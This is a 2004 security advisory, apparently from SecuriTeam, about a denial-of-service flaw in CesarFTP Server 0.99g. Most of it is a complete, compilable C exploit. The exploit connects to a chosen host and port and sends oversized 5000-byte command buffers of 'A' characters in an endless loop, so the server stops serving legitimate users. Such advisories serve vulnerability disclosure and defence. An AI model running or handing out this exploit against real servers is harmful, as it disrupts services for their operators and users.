[NT] CesarFTP Server Long Command DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 08/31/04

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Date: 31 Aug 2004 18:03:37 +0200

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      CesarFTP Server Long Command DoS
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.aclogic.com/> CesarFTP is "an easy-to-use and fast to
    configure FTP server". A vulnerability in the way the server handles long
    commands allows a remote attacker to cause the product to become unable to
    process legitimate FTP users.

    DETAILS

    Vulnerable Systems:
     * Cesar FTP Server version 0.99g

    Exploit:
    /*
    *-----------------------------------------------------------------------
    *
    * cesarftp.c - Cesar FTP Server Long Command DoS Exploit
    *
    * Copyright (C) 2000-2004 HUC All Rights Reserved.
    *
    * Author : lion
    * : lion@cnhonker.net
    * : http://www.cnhonker.com
    * Date : 2004-08-30
    *
    *-----------------------------------------------------------------------
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <winsock2.h>

    #pragma comment(lib, "ws2_32.lib")

    #define BUFFSIZE 204800
    #define SIZE 5000

    // function
    int create_socket();
    int client_connect(int sockfd,char* server,int port);
    int writebuf(char *s,int socket,char *buffer,int len);
    int readbuf(char *s,int socket,char *buffer,int len);

    int show = 1;
    char recvbuf[BUFFSIZE];
    char sendbuf[BUFFSIZE];

    void main(int argc, char *argv[])
    {
       WSADATA wsa;
       unsigned short port;
       unsigned long ip;

       SOCKET s;
       int size = SIZE;

       printf("Cesar FTP Server Long Command DoS Exploit\r\n");
           printf("lion lion#cnhonker.net, http://www.cnhonker.com\r\n\n");

       if(argc < 3)
       {
           printf("%s <TargetHost> <TargetPort>\r\n", argv[0]);
           return;
       }
       
       WSAStartup(MAKEWORD(2,2),&wsa);

       if((s=create_socket())==0)
       {
           printf("[-] ERROR: Create socket failed.\r\n");
           return;
       }
         
       if(!client_connect(s, argv[1], atoi(argv[2])))
           exit(-1);
     
       readbuf("read", s, recvbuf, BUFFSIZE);

       memset(sendbuf, 0, BUFFSIZE);
       memset(sendbuf, 'A', size);

       sendbuf[size-2] ='\r';
       sendbuf[size-1] ='\n';
         
       while(1)
       {
           show=1;
           writebuf("Send Buff", s, sendbuf, size);
           readbuf("read", s, recvbuf, BUFFSIZE);
           Sleep(1000);
       }
        
       if(s)
           closesocket(s);
             
       WSACleanup();
    }

    int create_socket()
    {
       int sockfd;
     
       sockfd=socket(AF_INET,SOCK_STREAM,0);
       if(sockfd<0)
       {
           printf("[-] Create socket error.\r\n");
           return(0);
       }
       
       return(sockfd);
    }

    int client_connect(int sockfd,char* server,int port)
    {
       struct sockaddr_in cliaddr;
       struct hostent *host;

       if((host=gethostbyname(server))==NULL)
       {
           printf("[-] ERROR: gethostbyname(%s) error\n", server);
           return(-1);
       }
       
       memset(&cliaddr, 0, sizeof(struct sockaddr));

       cliaddr.sin_family=AF_INET;
       cliaddr.sin_port=htons(port);
       cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
       printf("[+] Trying %s:%d......", server, port);
       fflush(stdout);

       if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct
    sockaddr))<0)
       {
           printf("FAILED!\r\n");
           closesocket(sockfd);
           return(-1);
       }

       printf("OK!\r\n");
       return(1);
    }

    int writebuf(char *s,int socket,char *buffer,int len)
    {
       int j;

       if(s)
       {
           printf("[+] %s......", s);
           fflush(stdout);
       }

       j=send(socket,buffer,len,0);
       if(j<=0)
       {
           printf("FAILED!\r\n");
               exit(-1);
       }
       printf("OK!\r\n");
       return j;
    }

    int readbuf(char *s,int socket,char *buffer,int len)
    {
       int a,b,i,j=0;
       
       a=b=i=0;
       memset(buffer,0,len);

       if(s)
       {
           printf("[+] %s......", s);
           fflush(stdout);
       }

       j=recv(socket,buffer,len-1,0);
       if(j <= 0)
       {
           if(s) printf("FAILED!\n");
               printf("[-] Recv data error.\n");
           exit(-1);
       }
           
       if(s) printf("OK!\n");

       buffer[len-1]='\0';

       if(show==1) printf("<==\r\n%s<==\r\n",buffer);

       return j;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:lion@cnhonker.net> lion.
    The original article can be found at:
    <http://www.cnhonker.com/index.php?module=releases&act=view&type=2&id=64>
    http://www.cnhonker.com/index.php?module=releases&act=view&type=2&id=64

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